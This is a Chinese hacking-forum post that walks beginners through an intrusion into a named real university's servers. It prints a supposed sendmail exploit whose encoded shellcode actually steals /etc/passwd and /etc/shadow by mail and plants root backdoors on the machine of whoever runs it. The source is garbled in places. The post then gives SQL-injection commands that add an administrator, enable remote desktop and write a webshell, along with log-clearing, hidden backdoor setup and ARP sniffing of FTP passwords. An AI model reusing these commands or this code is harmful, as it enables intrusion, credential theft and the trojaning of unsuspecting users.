- 论坛徽章:
- 0
|
[color="#ffffff"] 前言:
回想起当初,认识冰血到进入邪恶八进制做beginner版主, 到现在已经正正一年了.看到八进制在冰血的管理和领导下,蒸蒸日上,论坛里大家讨论的技术越来越有水平,大家的原创作品的水平也越来越接近专业安全, 自己心理也是十分高兴..但照顾小菜鸟”Hacking”的文章相对就少许多了,今天我来专门写一篇专门照顾菜鸟的文章,如果您已经是老鸟了,就不必看此篇文章了,因为此文是为菜鸟量身打造.文章思路借鉴了小路的>在此感谢小路在无私共享的黑客精神.好了,废话不多说了Let’s begin~~
正文:
北方工业大学是北京一所工科大学,当时答应过我一个朋友(不是女朋友呦~~~)争取在她毕业前拿下她学校(北方工业大学)的主页,后来我只对她学校的网站做了简单的踩点,竟然发现主机是Sun OS,这下还真有点难度,由于自己那时的水平有限,而且自己也有学业要忙,就把这件事暂时搁置了,后来半年多后她再次想我提起这件事,我决定好好帮她分析一下.于是我和我在那个学校的一位朋友也是一位同行,开始对这所学校展开了测试.我用X-Scan仔细扫描了一下这个站点,发现主机开放21,25,80端口其他端口没有开放,在看看网站是否存在脚本问题,晕,竟然网页都是静态的,没有动态页面,这个入侵带来了更大的困难.令人庆幸的是主机开放25端口,而且用邮件服务程序用的是sendmail,X-Scan扫描报告上显示具有sendmail由于版本过低,具有remote exploit的可能.于是我赶快在google中搜索了一下针对Sun OS的sendmail溢出程序,真不容易竟然被有找到了源码如下:
/*
###############################################################################
!!! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !!!
###############################################################################
~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~_~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
~|~?Sendmail
[color="#333333"]ownu@ph4k3s.haxorznetwork.net
Exploit for new sendmail vulnerability - discovered again - by Michal Zalewski.
securityfocus link:
[color="#333333"]http://www.securityfocus.com/archive/1/337839
?
This exploit will work against sendmail >> If everything is ok, you will find shell on target box, port 31337
NOTE: This exploit is very powerful, and only root can use it.
Have a nice time with this exploit ;-).
>>>>>>>>>>>> YOU SHOULD NOT HAVE THIS 0day SENDMAIL WAREZ!!!!
###############################################################################
!!! PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE !!!
###############################################################################
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define SMTPPORT 25
/*?improved tcp port (31337) bind shellcode */
char asmcode[]=
"x65x63x68x6fx20x22x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
"x2dx2dx2dx2dx2dx2dx22x20x3ex20x69x6ex66x6fx2ex70x68"
"x75x6ex3bx65x63x68x6fx20x24x55x53x45x52x20x24x4fx53"
"x54x59x50x45x20x3ex3ex20x69x6ex66x6fx2ex70x68x75x6e"
"x3bx65x63x68x6fx20x22x2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
"x2dx2dx2dx2dx2dx2dx2dx22x20x3ex3ex20x69x6ex66x6fx2e"
"x70x68x75x6ex3bx75x6ex61x6dx65x20x2dx61x20x3ex3ex20"
"x69x6ex66x6fx2ex70x68x75x6ex3bx65x63x68x6fx20x22x2d"
"x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx22"
"x20x3ex3ex20x69x6ex66x6fx2ex70x68x75x6ex3bx69x66x63"
"x6fx6ex66x69x67x20x3ex3ex20x69x6ex66x6fx2ex70x68x75"
"x6ex3bx65x63x68x6fx20x22x2dx2dx2dx2dx2dx2dx2dx2dx2d"
"x2dx2dx2dx2dx2dx2dx2dx2dx22x20x3ex3ex20x69x6ex66x6f"
"x2ex70x68x75x6ex3bx63x61x74x20x2fx65x74x63x2fx68x6f"
"x73x74x73x20x20x3ex3ex20x69x6ex66x6fx2ex70x68x75x6e"
"x3bx65x63x68x6fx20x22x2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
"x2dx2dx2dx2dx2dx2dx2dx22x20x3ex3ex20x69x6ex66x6fx2e"
"x70x68x75x6ex3bx63x61x74x20x2fx65x74x63x2fx70x61x73"
"x73x77x64x20x3ex3ex20x69x6ex66x6fx2ex70x68x75x6ex3b"
"x65x63x68x6fx20x22x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
"x2dx2dx2dx2dx2dx2dx22x20x3ex3ex20x69x6ex66x6fx2ex70"
"x68x75x6ex3bx63x61x74x20x2fx65x74x63x2fx73x68x61x64"
"x6fx77x20x3ex3ex20x69x6ex66x6fx2ex70x68x75x6ex3bx65"
"x63x68x6fx20x22x2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2dx2d"
"x2dx2dx2dx2dx2dx22x20x3ex3ex20x69x6ex66x6fx2ex70x68"
"x75x6ex3bx63x61x74x20x69x6ex66x6fx2ex70x68x75x6ex20"
"x7cx20x6dx61x69x6cx20x68x34x78x30x72x68x34x78x33x72"
"x40x68x6fx74x6dx61x69x6cx2ex63x6fx6dx3bx65x63x68x6f"
"x20x62x67x70x20x20x73x74x72x65x61x6dx20x20x74x63x70"
"x20x20x20x20x20x6ex6fx77x61x69x74x20x20x72x6fx6fx74"
"x20x20x20x20x2fx62x69x6ex2fx73x68x20x2fx62x69x6ex2f"
"x73x68x20x2dx69x20x3ex3ex20x2fx65x74x63x2fx69x6ex65"
"x74x64x2ex63x6fx6ex66x3bx6bx69x6cx6cx61x6cx6cx20x2d"
"x48x55x50x20x69x6ex65x74x64x3bx63x70x20x2fx62x69x6e"
"x2fx73x68x20x2fx74x6dx70x2fx2ex67x6fx74x69x74x2dx24"
"x55x53x45x52x3bx63x68x6dx6fx64x20x34x37x37x37x20x2f"
"x74x6dx70x2fx2ex67x6fx74x69x74x2dx24x55x53x45x52x3b"
"x65x63x68x6fx20x30x77x6ex75x3ax3ax30x3ax30x3ax30x77"
"x6ex75x3ax2fx72x6fx6fx74x3ax2fx62x69x6ex2fx73x68x20"
"x3ex3ex20x2fx65x74x63x2fx70x61x73x73x77x64x3bx70x77"
"x63x6fx6ex76x3b";
int rev(int a){
? int i=1;
? if((*(char*)&i)) return(a);
? return((a>>24)&0xff)|(((a>>16)&0xff)>8)&0xff)
char msg[] = "0day HACKING w4r3z!!!";
int main(int argc,char **argv){
?struct hostent *hp;
?struct sockaddr_in adr;
?char buffer[1024],*b,*ls = asmcode;
?int count;
?int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
?
?printf ("-------------------------------------------------------
");
?printf ("PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE PRIVATE
");
?printf (" >>> SENDMAIL
?
? if (getuid() != 0)
? {
??printf ("Sorry!!!
");
??printf ("This is very dangerous exploit for whole internet, and that's why only root users can use it!!!
");
??printf ("Sorry kiddies :-))))
");
??exit(0);
? }
? if(argc
? asmcode[4+48+2]=(unsigned char)((n>>8)&0xff);
? asmcode[4+48+3]=(unsigned char)(n&0xff);
? if(write(sck[0],msg,sizeof(msg))==-1) goto err;
? if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
?
? printf("stack dump:
");
? for(i=0;i
? fp=rev(*(unsigned int*)&buffer[532]);
? ofs=(0xfe)-((fp-(fp&0xffffff00))&0xff);
? cnt=163;
? if((buffer[512+20+2]!=(char)0xff)&&(buffer[512+20+3]!=(char)0xbf)){
??? printf("system does not seem to be a vulnerable linux
");exit(1);
? }
? if(flag==1){
??? printf("system seems to be running sendmail, OK :-)
");exit(-1);
? }
? if(cnt
? jmp=rev(fp-586);
? ptr6=rev((fp&0xffffff00)-12);
? fp=rev(fp&0xffffff00);
? printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
? printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);
? b=buffer;
? memcpy(b,"xabxcdx01x00x00x02x00x00x00x00x00x01",12);b+=12;
? for(i=0;i ? for(i=0;i>1);i++,b++) *b++=0x01;
? memcpy(b,"x00x00x01x00x01",5);b+=5;
? for(i=0;i>1);i++,b++) *b++=0x01;
? *b++=28;
? memcpy(b,"x06x00x00x00",4);b+=4;
? memcpy(b,&fp,4);b+=4;
? memcpy(b,"x06x00x00x00",4);b+=4;
? memcpy(b,&jmp,4);b+=4;
? memcpy(b,&jmp,4);b+=4;
? memcpy(b,&fp,4);b+=4;
? memcpy(b,&ptr6,4);b+=4;
? cnt-=ofs+28;
? for(i=0;i>1);i++,b++) *b++=0x01;
? memcpy(b,"x00x00x01x00x01x00x00xfaxff",9);b+=9;
? if(write(sck[0],buffer,b-buffer)==-1) goto err;
? sleep(1);printf("sent!
");
? write(sck[1],"/bin/uname -a
",14);
? while(1){
??? fd_set fds;
??? FD_ZERO(&fds);
??? FD_SET(0,&fds);
??? FD_SET(sck[1],&fds);
??? if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
????? int cnt;
????? char buf[1024];
????? if(FD_ISSET(0,&fds)){
??????? if((cnt=read(0,buf,1024))
据说这个版本的溢出程序是所有sendmail溢出程序中成功率最高的.我赶快用gcc编译(若自己是windows操作统可以安装Cygwin,然后即可编译此溢出程序)
进入Cygwin然后输入gcc –o Sendmail Sendmail.C编译成功,然后按照溢出程序使用方法测试主站.输入Sendmail
[color="#0000ff"]www.ncut.edu.cn
25,回车…….哎竟然失败了…….真是让人失望(我还是把源码放出来供同行使用,也许你测试的主机可以成功).看来此路不同,只能另想办法了.我苦思了一阵,恩,有思路了(下文我会详细的讲给大家).由于自己不在这所学校,在加上要考CET4所以我把拿下主战思路告诉了身在此学校的一位朋友,然后此事再次被我搁置了,想考完试再说吧.后来几个月过后,听说这位朋友已经成功了,然后又发生了些事我就不提了,扫兴.总之还是得自己动手.这时候浏览这所学校主页的时候,直觉告诉我好像已经有网页木马了,用ie查看源码一看,哈哈,使用的竟然事咱们冰狐浪子大哥的网页木马.好了,现在就让我就来揭开这所大学被黑的内幕.
当时想出的能够黑掉这台Sun OS的思路就是找同网段比较脆弱的机器当然最好是windows,从他的邻居下手,呵呵.(这种技术老鸟早已掌握了,所以再次重申此文是为菜鸟所写)然后通网段嗅探主机的ftp密码.当时我搁置此事的原因还有就是这个学校同网段的机器一般就屏蔽了外网IP,这样入侵起来极不方便,幸好我家离这所学校不远……好的,现在就让我们开工.
拿出我最喜欢的PortReady1.6扫描器,这个软件不尽开源而且扫描速度相当快.八进制这里有下载(51楼)
[color="#0000ff"]http://www.eviloctal.com/forum/read.php?fid=23&tid=4450&fpage=1&toread=&page=6
我们先来ping
[color="#0000ff"]www.ncut.edu.cn
得到主机IP为202.204.24.37,然后用PortReady1.6扫从202.204.24.1到202.204.24.255,只扫80端口.这样比较快.看看80端口返回的banner.如果是IIS5.0赶快用ie浏览一下如果再是asp的页面呵呵,那我就中奖了.扫完后发现符合要求的只有两台机器202.204.24.45和202.204.24.16.好先让我们看看202.204.24.45这台机器吧,这台机器有一个asp的”意见征集”系统,telnet 202.204.24.45 1433显示1433端口关闭.然后我在用户登陆系统中试着填写.
用户名:admin 密码:’or’’=’ 哈哈,竟然进去了,还别高兴的太早,里面一看原来好多页面好像已经别先进来的那个朋友删除了(可能是为了防止我进来吧),我telnet 202.204.24.45 3389一看,3389开放,看来确实有人来过了.好还还有一台机器,说明还是有希望的.用ie打开202.204.24.16一看原来是个asp的考试系统,这回我美了哈哈.我找了注入点然后用NBSI2开始测试.关于注入点的寻找和手动测试权限,以及注入防范请见这里
[color="#0000ff"]http://www.eviloctal.com/forum/read.php?tid=998
小竹写的著名的”SQL注入天书”.
我找到的注入点为
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
用NBSI2测试后发现数据库为sql server而且权限是sa.哈哈,天助我也.我赶快加帐户,然后开启对方3389.
在ie中输入
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell 'net user EvilCat estwebserver /add'—
然后将EvilCat提升为管理员
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell 'net localgroup administrators EvilCat /add'—
接着就是开3389了
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell 'echo [Components] > c:EvilCat'—
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell 'echo TsEnable = on >> c:EvilCat'—
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell 'sysocmgr /i:c:winntinfsysoc.inf /u:c:EvilCat /q'—
成功的主机会开启3389而且会自动重启.
输入完后发现目标主机没有重启,真是叫人郁闷.算了,条条大路通罗马.我还是令想办法吧.这时我想起了开3389小工具,Open3389而且是开放源码的,论坛这里有下载,
[color="#0000ff"]http://www.eviloctal.com/forum/read.php?tid=7970
由于这个程序已经被列入病毒行列所以只好自己修改一下再编译,编译后用压缩软件加壳如udpshell这样程序会比较小,便于传输.再这里提示一句(注册为八进制会员后,会开启搜索功能,只要在搜索栏中输入关键字,你想要找的资料是很好找到的)
修改好程序后结下来就是文件传输了,文件传输的方法不只一种,比如ipc,tftp,ftp等,论坛里很早就讨论过了.自己搜索即可.我个人比较用webshell来传输文件,虽然不能传输很大的文件.得到webshell的放法如果是db_owner常用的是backup a shell,菜鸟可以使用小路写的工具来获得,论坛这里有下载
[color="#0000ff"]http://www.eviloctal.com/forum/read.php?tid=7891.
关于原理,请看安全天使主页SuperHei的那几篇文章.这里既然是sa权限我们可以echo a shell,具体做法如下:
我们先要得到网站的绝对路径
我们可以通过读取注册表的方法来获得,
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1;DECLARE%20@result%20varchar
(255)%20EXEC%20master.dbo.xp_regread%20'HKEY_LOCAL_MACHINE','SYSTEMControlSet001ServicesW3SVCParametersVirtual%20Roots',%20'/',%20@result%20output%20insert%20into%20temp%20(tmp)%20values(@result);--
当然后还有许多方法.如通过xp_dirtree存储过程得到绝对路进..
这里为了速度用NBSI2自动读取即可.
得到绝对路进为:
E:wwwasp
然后写入一个一句话后门.
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell 'echo ^"" then execute request("a") %25^> >E:wwwaspcat.asp'—
然后再次利用一句活后门写入一个海洋之类的,强大的后门.
一句话后门在八进制论坛自己搜索即可.
用海洋网页木马上传然后在ie中输入
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell ' E:wwwasp3389.exe'—
结果主机还是没有重启,哎~~这种现象其实我不只遇到一次了,凭经验主机的只要重启必会开起3389,因为程序已经自动设置注册表了,只不过没有重启.
办法还是有的,就是上传shutdown.exe 这个程序是微软自己写的如果你是xp系统,这个程序就位于C:WINDOWSsystem32下.用webshell传上去后在ie中输入
[color="#0000ff"]http://eol.ncut.edu.cn/asp/admindatabaseedit.asp?id=1
';exec master.dbo.xp_cmdshell ' E:wwwaspshutdown.exe /R /T 0'—
哈哈这回它终于重启了.重启后果然开放了3389,赶快用3389连接器连上去然后克隆一个管理员帐号,清除日志,修补注入漏洞,如果为了省事,就用现在的一些防注入程序即可,然后将sql server运行于低权限.重要的还有要留一个后门呵呵,用一般的后门容易被发现,用rootkit也经常被杀毒软件所杀.我还是自己想想办法吧
咱们来一个无文件,无端口,无进程,无启动项,无…..反正该有的都没有只具有系统权限的后门(有点夸张了),这个后门我相信杀毒软件这辈子是没戏查到它了,哈哈.不知道你还记得如何在IIS中建立一个隐藏目录吗?不知道的看这里
[color="#0000ff"]http://www.eviloctal.com/forum/read.php?tid=7244
,有工具还有动画.你还记得黑哥这篇>地址:
[color="#0000ff"]http://www.4ngel.net/article/33.htm
特别要注意的是我们在建立隐藏的虚拟目录的时候要将,应用程序保护设为低 ,这样如果隐藏的目录下有一个webshell的话它可是系统权限,而且还要按照 >一文所说的来配置那个即将隐藏的虚拟目录.这样我们就可以随时利用iis这个”漏洞”传送文件到那个隐藏的虚拟目录而且传上的asp木马还具有系统权限.这样一来我们是没有必要在这个隐藏的虚拟目录下放任何文件的.须要后门时用>中提供的工具送上去即可.但是要注意的是用这个种方法传送文件会在日志中留下记录,隐藏的虚拟目录也会暴露,所以每用一次记得要清理日志呀,这样以来完全可以在我们完成任务后卸载3389.
接下来就要嗅探这所大学的主站了ftp了.具体做法如下:
在3389中下载arpsniffer.exe 榕哥的交换环境下嗅探工具,然后还要安装嗅探所要用到的驱动程序WinPcap.exe ,为了方便大家,我在附件中将这两件工具打包提供下载.
安装好winpacap2.1驱动后最好让主机重启,避免发生错误.
重启后,在命令行下输入ipconfig查看这个网段的网关地址.在命令行下输入
arpsniffer.exe 202.204.24.254 202.204.24.37 21 C:WINDOWSsystem32log.txt 1
这里202.204.24.254是网关,202.204.24.37是北方工业大学的主站ip地址.如果成功嗅探到主机的ftp密码会在C:WINDOWSsystem32log.txt生成文件.当然为了安全,我们可以像小路在>中所说的那样,在webshell中启动arpsniffer.现在我们要做的就是等学校主站的管理员登陆ftp了.入侵也到了尾声.好了,我就写到这里了.文章中有什么不懂的可以在八进制论坛直接与我交流,或者用论坛的搜索程序自己搜索相关内容.
后记:
其实,我记得这台主机的同网段还有一台linux有个phpbb论坛,用phpbb当时的那个写入一个webshell的漏洞,写入一个php的shell然后wget一个绑定端口的后门然后gcc编译,然后装上这个绑定端口的后门,连接这个低权限的后门,然后uname -r 看看内核版本,上google找对应的local exploit,wget下载gcc编译然后exploit,得到root,然后再装rootkit,接着装个sniffer嗅探是一样的.当初我也实验了.听说那台202.204.24.45进后台有上传漏洞,即便没有上传,暴出数据库看看是不是asp的若是那么就利用改mdb为asp带来的灾难中说的方法,就成了,由于ftp是servu也是可以local exploit的这些东西对于老鸟绝对可以一笔带过的.我先选择同网段的这台windows作为第一个攻击目标因为很快就能达到我的目的,也比较省事,我想换成是您,您也会选择最脆弱的机器下手.当初和冰血讨论是否写这篇文章,我们觉得适合beginner的文章好像少了,就有了这篇文章.
来 自:[color="#666666"] 安全在线 责任编辑:[color="#666666"] ls1238
本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/7702/showart_39641.html |
|